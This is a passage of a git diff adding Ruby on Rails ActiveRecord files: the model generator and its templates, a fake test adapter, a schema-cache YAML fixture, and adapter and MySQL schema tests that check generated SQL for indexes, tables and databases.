+module ActiveRecord
+  module Generators # :nodoc:
+    class ModelGenerator < Base # :nodoc:
+      argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
+
+      check_class_collision
+
+      class_option :migration, type: :boolean
+      class_option :timestamps, type: :boolean
+      class_option :parent, type: :string, desc: "The parent class for the generated model"
+      class_option :indexes, type: :boolean, default: true, desc: "Add indexes for references and belongs_to columns"
+      class_option :primary_key_type, type: :string, desc: "The type for primary key"
+
+      # creates the migration file for the model.
+      def create_migration_file
+        return unless options[:migration] && options[:parent].nil?
+        attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false
+        migration_template "../../migration/templates/create_table_migration.rb", File.join(db_migrate_path, "create_#{table_name}.rb")
+      end
+
+      def create_model_file
+        template "model.rb", File.join("app/models", class_path, "#{file_name}.rb")
+      end
+
+      def create_module_file
+        return if regular_class_path.empty?
+        template "module.rb", File.join("app/models", "#{class_path.join('/')}.rb") if behavior == :invoke
+      end
+
+      hook_for :test_framework
+
+      private
+
+        def attributes_with_index
+          attributes.select { |a| !a.reference? && a.has_index? }
+        end
+
+        # Used by the migration template to determine the parent name of the model
+        def parent_class_name
+          options[:parent] || "ApplicationRecord"
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/model.rb b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
new file mode 100644
index 0000000000..55dc65c8ad
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
@@ -0,0 +1,13 @@
+<% module_namespacing do -%>
+class <%= class_name %> < <%= parent_class_name.classify %>
+<% attributes.select(&:reference?).each do |attribute| -%>
+  belongs_to :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %><%= ', required: true' if attribute.required? %>
+<% end -%>
+<% attributes.select(&:token?).each do |attribute| -%>
+  has_secure_token<% if attribute.name != "token" %> :<%= attribute.name %><% end %>
+<% end -%>
+<% if attributes.any?(&:password_digest?) -%>
+  has_secure_password
+<% end -%>
+end
+<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/module.rb b/activerecord/lib/rails/generators/active_record/model/templates/module.rb
new file mode 100644
index 0000000000..a3bf1c37b6
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/model/templates/module.rb
@@ -0,0 +1,7 @@
+<% module_namespacing do -%>
+module <%= class_path.map(&:camelize).join('::') %>
+  def self.table_name_prefix
+    '<%= namespaced? ? namespaced_class_path.join('_') : class_path.join('_') %>_'
+  end
+end
+<% end -%>
diff --git a/activerecord/test/.gitignore b/activerecord/test/.gitignore
new file mode 100644
index 0000000000..a0ec5967dd
--- /dev/null
+++ b/activerecord/test/.gitignore
@@ -0,0 +1 @@
+/config.yml
diff --git a/activerecord/test/active_record/connection_adapters/fake_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
new file mode 100644
index 0000000000..f977b2997b
--- /dev/null
+++ b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionHandling
+    def fake_connection(config)
+      ConnectionAdapters::FakeAdapter.new nil, logger
+    end
+  end
+
+  module ConnectionAdapters
+    class FakeAdapter < AbstractAdapter
+      attr_accessor :data_sources, :primary_keys
+
+      @columns = Hash.new { |h, k| h[k] = [] }
+      class << self
+        attr_reader :columns
+      end
+
+      def initialize(connection, logger)
+        super
+        @data_sources = []
+        @primary_keys = {}
+        @columns      = self.class.columns
+      end
+
+      def primary_key(table)
+        @primary_keys[table] || "id"
+      end
+
+      def merge_column(table_name, name, sql_type = nil, options = {})
+        @columns[table_name] << ActiveRecord::ConnectionAdapters::Column.new(
+          name.to_s,
+          options[:default],
+          fetch_type_metadata(sql_type),
+          options[:null])
+      end
+
+      def columns(table_name)
+        @columns[table_name]
+      end
+
+      def data_source_exists?(*)
+        true
+      end
+
+      def active?
+        true
+      end
+    end
+  end
+end
diff --git a/activerecord/test/assets/example.log b/activerecord/test/assets/example.log
new file mode 100644
index 0000000000..f084369d8c
--- /dev/null
+++ b/activerecord/test/assets/example.log
@@ -0,0 +1 @@
+# Logfile created on Wed Oct 31 16:05:13 +0000 2007 by logger.rb/1.5.2.9
diff --git a/activerecord/test/assets/flowers.jpg b/activerecord/test/assets/flowers.jpg
new file mode 100644
index 0000000000..fe9df546df
--- /dev/null
+++ b/activerecord/test/assets/flowers.jpg
diff --git a/activerecord/test/assets/schema_dump_5_1.yml b/activerecord/test/assets/schema_dump_5_1.yml
new file mode 100644
index 0000000000..f37977daf2
--- /dev/null
+++ b/activerecord/test/assets/schema_dump_5_1.yml
@@ -0,0 +1,345 @@
+--- !ruby/object:ActiveRecord::ConnectionAdapters::SchemaCache
+columns:
+  posts:
+  - &1 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: id
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: INTEGER
+      type: :integer
+      limit: 
+      precision: 
+      scale: 
+    'null': false
+    default: 
+    default_function: 
+    collation: 
+    comment: 
+  - &2 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: author_id
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: integer
+      type: :integer
+      limit: 
+      precision: 
+      scale: 
+    'null': true
+    default: 
+    default_function: 
+    collation: 
+    comment: 
+  - &3 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: title
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: varchar
+      type: :string
+      limit: 
+      precision: 
+      scale: 
+    'null': false
+    default: 
+    default_function: 
+    collation: 
+    comment: 
+  - &4 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: body
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: text
+      type: :text
+      limit: 
+      precision: 
+      scale: 
+    'null': false
+    default: 
+    default_function: 
+    collation: 
+    comment: 
+  - &5 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: type
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: varchar
+      type: :string
+      limit: 
+      precision: 
+      scale: 
+    'null': true
+    default: 
+    default_function: 
+    collation: 
+    comment: 
+  - &6 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: comments_count
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: integer
+      type: :integer
+      limit: 
+      precision: 
+      scale: 
+    'null': true
+    default: '0'
+    default_function: 
+    collation: 
+    comment: 
+  - &7 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: taggings_with_delete_all_count
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: integer
+      type: :integer
+      limit: 
+      precision: 
+      scale: 
+    'null': true
+    default: '0'
+    default_function: 
+    collation: 
+    comment: 
+  - &8 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: taggings_with_destroy_count
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: integer
+      type: :integer
+      limit: 
+      precision: 
+      scale: 
+    'null': true
+    default: '0'
+    default_function: 
+    collation: 
+    comment: 
+  - &9 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: tags_count
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: integer
+      type: :integer
+      limit: 
+      precision: 
+      scale: 
+    'null': true
+    default: '0'
+    default_function: 
+    collation: 
+    comment: 
+  - &10 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: tags_with_destroy_count
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: integer
+      type: :integer
+      limit: 
+      precision: 
+      scale: 
+    'null': true
+    default: '0'
+    default_function: 
+    collation: 
+    comment: 
+  - &11 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    name: tags_with_nullify_count
+    table_name: posts
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: integer
+      type: :integer
+      limit: 
+      precision: 
+      scale: 
+    'null': true
+    default: '0'
+    default_function: 
+    collation: 
+    comment: 
+columns_hash:
+  posts:
+    id: *1
+    author_id: *2
+    title: *3
+    body: *4
+    type: *5
+    comments_count: *6
+    taggings_with_delete_all_count: *7
+    taggings_with_destroy_count: *8
+    tags_count: *9
+    tags_with_destroy_count: *10
+    tags_with_nullify_count: *11
+primary_keys:
+  posts: id
+data_sources:
+  ar_internal_metadata: true
+  table_with_autoincrement: true
+  accounts: true
+  admin_accounts: true
+  admin_users: true
+  aircraft: true
+  articles: true
+  articles_magazines: true
+  articles_tags: true
+  audit_logs: true
+  authors: true
+  author_addresses: true
+  author_favorites: true
+  auto_id_tests: true
+  binaries: true
+  birds: true
+  books: true
+  booleans: true
+  bulbs: true
+  CamelCase: true
+  cars: true
+  carriers: true
+  categories: true
+  categories_posts: true
+  categorizations: true
+  citations: true
+  clubs: true
+  collections: true
+  colnametests: true
+  columns: true
+  comments: true
+  companies: true
+  content: true
+  content_positions: true
+  vegetables: true
+  computers: true
+  computers_developers: true
+  contracts: true
+  customers: true
+  customer_carriers: true
+  dashboards: true
+  developers: true
+  developers_projects: true
+  dog_lovers: true
+  dogs: true
+  doubloons: true
+  edges: true
+  engines: true
+  entrants: true
+  essays: true
+  events: true
+  eyes: true
+  funny_jokes: true
+  cold_jokes: true
+  friendships: true
+  goofy_string_id: true
+  having: true
+  guids: true
+  guitars: true
+  inept_wizards: true
+  integer_limits: true
+  invoices: true
+  iris: true
+  items: true
+  jobs: true
+  jobs_pool: true
+  keyboards: true
+  legacy_things: true
+  lessons: true
+  lessons_students: true
+  students: true
+  lint_models: true
+  line_items: true
+  lions: true
+  lock_without_defaults: true
+  lock_without_defaults_cust: true
+  magazines: true
+  mateys: true
+  members: true
+  member_details: true
+  member_friends: true
+  memberships: true
+  member_types: true
+  mentors: true
+  minivans: true
+  minimalistics: true
+  mixed_case_monkeys: true
+  mixins: true
+  movies: true
+  notifications: true
+  numeric_data: true
+  orders: true
+  organizations: true
+  owners: true
+  paint_colors: true
+  paint_textures: true
+  parrots: true
+  parrots_pirates: true
+  parrots_treasures: true
+  people: true
+  peoples_treasures: true
+  personal_legacy_things: true
+  pets: true
+  pets_treasures: true
+  pirates: true
+  posts: true
+  serialized_posts: true
+  images: true
+  price_estimates: true
+  products: true
+  product_types: true
+  projects: true
+  randomly_named_table1: true
+  randomly_named_table2: true
+  randomly_named_table3: true
+  ratings: true
+  readers: true
+  references: true
+  shape_expressions: true
+  ships: true
+  ship_parts: true
+  prisoners: true
+  shop_accounts: true
+  speedometers: true
+  sponsors: true
+  string_key_objects: true
+  subscribers: true
+  subscriptions: true
+  tags: true
+  taggings: true
+  tasks: true
+  topics: true
+  toys: true
+  traffic_lights: true
+  treasures: true
+  tuning_pegs: true
+  tyres: true
+  variants: true
+  vertices: true
+  warehouse-things: true
+  circles: true
+  squares: true
+  triangles: true
+  non_poly_ones: true
+  non_poly_twos: true
+  men: true
+  faces: true
+  interests: true
+  zines: true
+  wheels: true
+  countries: true
+  treaties: true
+  countries_treaties: true
+  liquid: true
+  molecules: true
+  electrons: true
+  weirds: true
+  nodes: true
+  trees: true
+  hotels: true
+  departments: true
+  cake_designers: true
+  drink_designers: true
+  chefs: true
+  recipes: true
+  records: true
+  overloaded_types: true
+  users: true
+  test_with_keyword_column_name: true
+  fk_test_has_pk: true
+  fk_test_has_fk: true
+version: 0
diff --git a/activerecord/test/assets/test.txt b/activerecord/test/assets/test.txt
new file mode 100644
index 0000000000..6754f0612e
--- /dev/null
+++ b/activerecord/test/assets/test.txt
@@ -0,0 +1 @@
+%00
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
new file mode 100644
index 0000000000..abb7a696ce
--- /dev/null
+++ b/activerecord/test/cases/adapter_test.rb
@@ -0,0 +1,372 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/book"
+require "models/post"
+require "models/author"
+require "models/event"
+
+module ActiveRecord
+  class AdapterTest < ActiveRecord::TestCase
+    def setup
+      @connection = ActiveRecord::Base.connection
+    end
+
+    ##
+    # PostgreSQL does not support null bytes in strings
+    unless current_adapter?(:PostgreSQLAdapter) ||
+        (current_adapter?(:SQLite3Adapter) && !ActiveRecord::Base.connection.prepared_statements)
+      def test_update_prepared_statement
+        b = Book.create(name: "my \x00 book")
+        b.reload
+        assert_equal "my \x00 book", b.name
+        b.update_attributes(name: "my other \x00 book")
+        b.reload
+        assert_equal "my other \x00 book", b.name
+      end
+    end
+
+    def test_create_record_with_pk_as_zero
+      Book.create(id: 0)
+      assert_equal 0, Book.find(0).id
+      assert_nothing_raised { Book.destroy(0) }
+    end
+
+    def test_valid_column
+      @connection.native_database_types.each_key do |type|
+        assert @connection.valid_type?(type)
+      end
+    end
+
+    def test_invalid_column
+      assert_not @connection.valid_type?(:foobar)
+    end
+
+    def test_tables
+      tables = @connection.tables
+      assert_includes tables, "accounts"
+      assert_includes tables, "authors"
+      assert_includes tables, "tasks"
+      assert_includes tables, "topics"
+    end
+
+    def test_table_exists?
+      assert @connection.table_exists?("accounts")
+      assert @connection.table_exists?(:accounts)
+      assert_not @connection.table_exists?("nonexistingtable")
+      assert_not @connection.table_exists?("'")
+      assert_not @connection.table_exists?(nil)
+    end
+
+    def test_data_sources
+      data_sources = @connection.data_sources
+      assert_includes data_sources, "accounts"
+      assert_includes data_sources, "authors"
+      assert_includes data_sources, "tasks"
+      assert_includes data_sources, "topics"
+    end
+
+    def test_data_source_exists?
+      assert @connection.data_source_exists?("accounts")
+      assert @connection.data_source_exists?(:accounts)
+      assert_not @connection.data_source_exists?("nonexistingtable")
+      assert_not @connection.data_source_exists?("'")
+      assert_not @connection.data_source_exists?(nil)
+    end
+
+    def test_indexes
+      idx_name = "accounts_idx"
+
+      indexes = @connection.indexes("accounts")
+      assert indexes.empty?
+
+      @connection.add_index :accounts, :firm_id, name: idx_name
+      indexes = @connection.indexes("accounts")
+      assert_equal "accounts", indexes.first.table
+      assert_equal idx_name, indexes.first.name
+      assert !indexes.first.unique
+      assert_equal ["firm_id"], indexes.first.columns
+    ensure
+      @connection.remove_index(:accounts, name: idx_name) rescue nil
+    end
+
+    def test_remove_index_when_name_and_wrong_column_name_specified
+      index_name = "accounts_idx"
+
+      @connection.add_index :accounts, :firm_id, name: index_name
+      assert_raises ArgumentError do
+        @connection.remove_index :accounts, name: index_name, column: :wrong_column_name
+      end
+    ensure
+      @connection.remove_index(:accounts, name: index_name)
+    end
+
+    def test_current_database
+      if @connection.respond_to?(:current_database)
+        assert_equal ARTest.connection_config["arunit"]["database"], @connection.current_database
+      end
+    end
+
+    if current_adapter?(:Mysql2Adapter)
+      def test_charset
+        assert_not_nil @connection.charset
+        assert_not_equal "character_set_database", @connection.charset
+        assert_equal @connection.show_variable("character_set_database"), @connection.charset
+      end
+
+      def test_collation
+        assert_not_nil @connection.collation
+        assert_not_equal "collation_database", @connection.collation
+        assert_equal @connection.show_variable("collation_database"), @connection.collation
+      end
+
+      def test_show_nonexistent_variable_returns_nil
+        assert_nil @connection.show_variable("foo_bar_baz")
+      end
+
+      def test_not_specifying_database_name_for_cross_database_selects
+        begin
+          assert_nothing_raised do
+            ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations["arunit"].except(:database))
+
+            config = ARTest.connection_config
+            ActiveRecord::Base.connection.execute(
+              "SELECT #{config['arunit']['database']}.pirates.*, #{config['arunit2']['database']}.courses.* " \
+              "FROM #{config['arunit']['database']}.pirates, #{config['arunit2']['database']}.courses"
+            )
+          end
+        ensure
+          ActiveRecord::Base.establish_connection :arunit
+        end
+      end
+    end
+
+    def test_table_alias
+      def @connection.test_table_alias_length() 10; end
+      class << @connection
+        alias_method :old_table_alias_length, :table_alias_length
+        alias_method :table_alias_length,     :test_table_alias_length
+      end
+
+      assert_equal "posts",      @connection.table_alias_for("posts")
+      assert_equal "posts_comm", @connection.table_alias_for("posts_comments")
+      assert_equal "dbo_posts",  @connection.table_alias_for("dbo.posts")
+
+      class << @connection
+        remove_method :table_alias_length
+        alias_method :table_alias_length, :old_table_alias_length
+      end
+    end
+
+    # test resetting sequences in odd tables in PostgreSQL
+    if ActiveRecord::Base.connection.respond_to?(:reset_pk_sequence!)
+      require "models/movie"
+      require "models/subscriber"
+
+      def test_reset_empty_table_with_custom_pk
+        Movie.delete_all
+        Movie.connection.reset_pk_sequence! "movies"
+        assert_equal 1, Movie.create(name: "fight club").id
+      end
+
+      def test_reset_table_with_non_integer_pk
+        Subscriber.delete_all
+        Subscriber.connection.reset_pk_sequence! "subscribers"
+        sub = Subscriber.new(name: "robert drake")
+        sub.id = "bob drake"
+        assert_nothing_raised { sub.save! }
+      end
+    end
+
+    def test_uniqueness_violations_are_translated_to_specific_exception
+      @connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
+      error = assert_raises(ActiveRecord::RecordNotUnique) do
+        @connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
+      end
+
+      assert_not_nil error.cause
+    end
+
+    def test_not_null_violations_are_translated_to_specific_exception
+      error = assert_raises(ActiveRecord::NotNullViolation) do
+        Post.create
+      end
+
+      assert_not_nil error.cause
+    end
+
+    unless current_adapter?(:SQLite3Adapter)
+      def test_value_limit_violations_are_translated_to_specific_exception
+        error = assert_raises(ActiveRecord::ValueTooLong) do
+          Event.create(title: "abcdefgh")
+        end
+
+        assert_not_nil error.cause
+      end
+
+      def test_numeric_value_out_of_ranges_are_translated_to_specific_exception
+        error = assert_raises(ActiveRecord::RangeError) do
+          Book.connection.create("INSERT INTO books(author_id) VALUES (9223372036854775808)")
+        end
+
+        assert_not_nil error.cause
+      end
+    end
+
+    def test_exceptions_from_notifications_are_not_translated
+      original_error = StandardError.new("This StandardError shouldn't get translated")
+      subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") { raise original_error }
+      actual_error = assert_raises(StandardError) do
+        @connection.execute("SELECT * FROM posts")
+      end
+
+      assert_equal original_error, actual_error
+
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+
+    def test_database_related_exceptions_are_translated_to_statement_invalid
+      error = assert_raises(ActiveRecord::StatementInvalid) do
+        @connection.execute("This is a syntax error")
+      end
+
+      assert_instance_of ActiveRecord::StatementInvalid, error
+      assert_kind_of Exception, error.cause
+    end
+
+    def test_select_all_always_return_activerecord_result
+      result = @connection.select_all "SELECT * FROM posts"
+      assert result.is_a?(ActiveRecord::Result)
+    end
+
+    if ActiveRecord::Base.connection.prepared_statements
+      def test_select_all_with_legacy_binds
+        post = Post.create!(title: "foo", body: "bar")
+        expected = @connection.select_all("SELECT * FROM posts WHERE id = #{post.id}")
+        result = @connection.select_all("SELECT * FROM posts WHERE id = #{Arel::Nodes::BindParam.new(nil).to_sql}", nil, [[nil, post.id]])
+        assert_equal expected.to_hash, result.to_hash
+      end
+    end
+
+    def test_select_methods_passing_a_association_relation
+      author = Author.create!(name: "john")
+      Post.create!(author: author, title: "foo", body: "bar")
+      query = author.posts.where(title: "foo").select(:title)
+      assert_equal({ "title" => "foo" }, @connection.select_one(query))
+      assert @connection.select_all(query).is_a?(ActiveRecord::Result)
+      assert_equal "foo", @connection.select_value(query)
+      assert_equal ["foo"], @connection.select_values(query)
+    end
+
+    def test_select_methods_passing_a_relation
+      Post.create!(title: "foo", body: "bar")
+      query = Post.where(title: "foo").select(:title)
+      assert_equal({ "title" => "foo" }, @connection.select_one(query))
+      assert @connection.select_all(query).is_a?(ActiveRecord::Result)
+      assert_equal "foo", @connection.select_value(query)
+      assert_equal ["foo"], @connection.select_values(query)
+    end
+
+    test "type_to_sql returns a String for unmapped types" do
+      assert_equal "special_db_type", @connection.type_to_sql(:special_db_type)
+    end
+
+    unless current_adapter?(:PostgreSQLAdapter)
+      def test_log_invalid_encoding
+        error = assert_raises RuntimeError do
+          @connection.send :log, "SELECT 'ы' FROM DUAL" do
+            raise "ы".force_encoding(Encoding::ASCII_8BIT)
+          end
+        end
+
+        assert_not_nil error.message
+      end
+    end
+  end
+
+  class AdapterForeignKeyTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    def setup
+      @connection = ActiveRecord::Base.connection
+    end
+
+    def test_foreign_key_violations_are_translated_to_specific_exception_with_validate_false
+      klass_has_fk = Class.new(ActiveRecord::Base) do
+        self.table_name = "fk_test_has_fk"
+      end
+
+      error = assert_raises(ActiveRecord::InvalidForeignKey) do
+        has_fk = klass_has_fk.new
+        has_fk.fk_id = 1231231231
+        has_fk.save(validate: false)
+      end
+
+      assert_not_nil error.cause
+    end
+
+    def test_foreign_key_violations_are_translated_to_specific_exception
+      error = assert_raises(ActiveRecord::InvalidForeignKey) do
+        insert_into_fk_test_has_fk
+      end
+
+      assert_not_nil error.cause
+    end
+
+    def test_disable_referential_integrity
+      assert_nothing_raised do
+        @connection.disable_referential_integrity do
+          insert_into_fk_test_has_fk
+          # should delete created record as otherwise disable_referential_integrity will try to enable constraints
+          # after executed block and will fail (at least on Oracle)
+          @connection.execute "DELETE FROM fk_test_has_fk"
+        end
+      end
+    end
+
+    private
+
+      def insert_into_fk_test_has_fk
+        # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
+        if @connection.prefetch_primary_key?
+          id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
+          @connection.execute "INSERT INTO fk_test_has_fk (id,fk_id) VALUES (#{id_value},0)"
+        else
+          @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+        end
+      end
+  end
+
+  class AdapterTestWithoutTransaction < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    class Klass < ActiveRecord::Base
+    end
+
+    def setup
+      Klass.establish_connection :arunit
+      @connection = Klass.connection
+    end
+
+    teardown do
+      Klass.remove_connection
+    end
+
+    unless in_memory_db?
+      test "transaction state is reset after a reconnect" do
+        @connection.begin_transaction
+        assert @connection.transaction_open?
+        @connection.reconnect!
+        assert !@connection.transaction_open?
+      end
+
+      test "transaction state is reset after a disconnect" do
+        @connection.begin_transaction
+        assert @connection.transaction_open?
+        @connection.disconnect!
+        assert !@connection.transaction_open?
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
new file mode 100644
index 0000000000..a6b83ec377
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
@@ -0,0 +1,195 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+class Mysql2ActiveSchemaTest < ActiveRecord::Mysql2TestCase
+  include ConnectionHelper
+
+  def setup
+    ActiveRecord::Base.connection.singleton_class.class_eval do
+      alias_method :execute_without_stub, :execute
+      def execute(sql, name = nil) return sql end
+    end
+  end
+
+  teardown do
+    reset_connection
+  end
+
+  def test_add_index
+    # add_index calls data_source_exists? and index_name_exists? which can't work since execute is stubbed
+    def (ActiveRecord::Base.connection).data_source_exists?(*); true; end
+    def (ActiveRecord::Base.connection).index_name_exists?(*); false; end
+
+    expected = "CREATE  INDEX `index_people_on_last_name`  ON `people` (`last_name`) "
+    assert_equal expected, add_index(:people, :last_name, length: nil)
+
+    expected = "CREATE  INDEX `index_people_on_last_name`  ON `people` (`last_name`(10)) "
+    assert_equal expected, add_index(:people, :last_name, length: 10)
+
+    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name`  ON `people` (`last_name`(15), `first_name`(15)) "
+    assert_equal expected, add_index(:people, [:last_name, :first_name], length: 15)
+    assert_equal expected, add_index(:people, ["last_name", "first_name"], length: 15)
+
+    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name`  ON `people` (`last_name`(15), `first_name`) "
+    assert_equal expected, add_index(:people, [:last_name, :first_name], length: { last_name: 15 })
+    assert_equal expected, add_index(:people, ["last_name", "first_name"], length: { last_name: 15 })
+
+    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name`  ON `people` (`last_name`(15), `first_name`(10)) "
+    assert_equal expected, add_index(:people, [:last_name, :first_name], length: { last_name: 15, first_name: 10 })
+    assert_equal expected, add_index(:people, ["last_name", :first_name], length: { last_name: 15, "first_name" => 10 })
+
+    %w(SPATIAL FULLTEXT UNIQUE).each do |type|
+      expected = "CREATE #{type} INDEX `index_people_on_last_name`  ON `people` (`last_name`) "
+      assert_equal expected, add_index(:people, :last_name, type: type)
+    end
+
+    %w(btree hash).each do |using|
+      expected = "CREATE  INDEX `index_people_on_last_name` USING #{using} ON `people` (`last_name`) "
+      assert_equal expected, add_index(:people, :last_name, using: using)
+    end
+
+    expected = "CREATE  INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) "
+    assert_equal expected, add_index(:people, :last_name, length: 10, using: :btree)
+
+    expected = "CREATE  INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) ALGORITHM = COPY"
+    assert_equal expected, add_index(:people, :last_name, length: 10, using: :btree, algorithm: :copy)
+
+    assert_raise ArgumentError do
+      add_index(:people, :last_name, algorithm: :coyp)
+    end
+
+    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name` USING btree ON `people` (`last_name`(15), `first_name`(15)) "
+    assert_equal expected, add_index(:people, [:last_name, :first_name], length: 15, using: :btree)
+  end
+
+  def test_index_in_create
+    def (ActiveRecord::Base.connection).data_source_exists?(*); false; end
+
+    %w(SPATIAL FULLTEXT UNIQUE).each do |type|
+      expected = "CREATE TABLE `people` (#{type} INDEX `index_people_on_last_name`  (`last_name`)) ENGINE=InnoDB"
+      actual = ActiveRecord::Base.connection.create_table(:people, id: false) do |t|
+        t.index :last_name, type: type
+      end
+      assert_equal expected, actual
+    end
+
+    expected = "CREATE TABLE `people` ( INDEX `index_people_on_last_name` USING btree (`last_name`(10))) ENGINE=InnoDB"
+    actual = ActiveRecord::Base.connection.create_table(:people, id: false) do |t|
+      t.index :last_name, length: 10, using: :btree
+    end
+    assert_equal expected, actual
+  end
+
+  def test_index_in_bulk_change
+    def (ActiveRecord::Base.connection).data_source_exists?(*); true; end
+    def (ActiveRecord::Base.connection).index_name_exists?(*); false; end
+
+    %w(SPATIAL FULLTEXT UNIQUE).each do |type|
+      expected = "ALTER TABLE `people` ADD #{type} INDEX `index_people_on_last_name`  (`last_name`)"
+      actual = ActiveRecord::Base.connection.change_table(:people, bulk: true) do |t|
+        t.index :last_name, type: type
+      end
+      assert_equal expected, actual
+    end
+
+    expected = "ALTER TABLE `people` ADD  INDEX `index_people_on_last_name` USING btree (`last_name`(10)), ALGORITHM = COPY"
+    actual = ActiveRecord::Base.connection.change_table(:people, bulk: true) do |t|
+      t.index :last_name, length: 10, using: :btree, algorithm: :copy
+    end
+    assert_equal expected, actual
+  end
+
+  def test_drop_table
+    assert_equal "DROP TABLE `people`", drop_table(:people)
+  end
+
+  def test_create_mysql_database_with_encoding
+    assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8`", create_database(:matt)
+    assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, charset: "latin1")
+    assert_equal "CREATE DATABASE `matt_aimonetti` DEFAULT CHARACTER SET `big5` COLLATE `big5_chinese_ci`", create_database(:matt_aimonetti, charset: :big5, collation: :big5_chinese_ci)
+  end
+
+  def test_recreate_mysql_database_with_encoding
+    create_database(:luca, charset: "latin1")
+    assert_equal "CREATE DATABASE `luca` DEFAULT CHARACTER SET `latin1`", recreate_database(:luca, charset: "latin1")
+  end
+
+  def test_add_column
+    assert_equal "ALTER TABLE `people` ADD `last_name` varchar(255)", add_column(:people, :last_name, :string)
+  end
+
+  def test_add_column_with_limit
+    assert_equal "ALTER TABLE `people` ADD `key` varchar(32)", add_column(:people, :key, :string, limit: 32)
+  end
+
+  def test_drop_table_with_specific_database
+    assert_equal "DROP TABLE `otherdb`.`people`", drop_table("otherdb.people")
+  end
+
+  def test_add_timestamps
+    with_real_execute do
+      begin
+        ActiveRecord::Base.connection.create_table :delete_me
+        ActiveRecord::Base.connection.add_timestamps :delete_me, null: true
+        assert column_present?("delete_me", "updated_at", "datetime")
+        assert column_present?("delete_me", "created_at", "datetime")
+      ensure
+        ActiveRecord::Base.connection.drop_table :delete_me rescue nil
+      end
+    end
+  end
+
+  def test_remove_timestamps
+    with_real_execute do
+      begin
+        ActiveRecord::Base.connection.create_table :delete_me do |t|
+          t.timestamps null: true
+        end
+        ActiveRecord::Base.connection.remove_timestamps :delete_me, null: true
+        assert !column_present?("delete_me", "updated_at", "datetime")
+        assert !column_present?("delete_me", "created_at", "datetime")
+      ensure
+        ActiveRecord::Base.connection.drop_table :delete_me rescue nil
+      end
+    end
+  end
+
+  def test_indexes_in_create
+    ActiveRecord::Base.connection.stubs(:data_source_exists?).with(:temp).returns(false)
+    ActiveRecord::Base.connection.stubs(:index_name_exists?).with(:index_temp_on_zip).returns(false)
+
+    expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip`  (`zip`)) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query"
+    actual = ActiveRecord::Base.connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t|
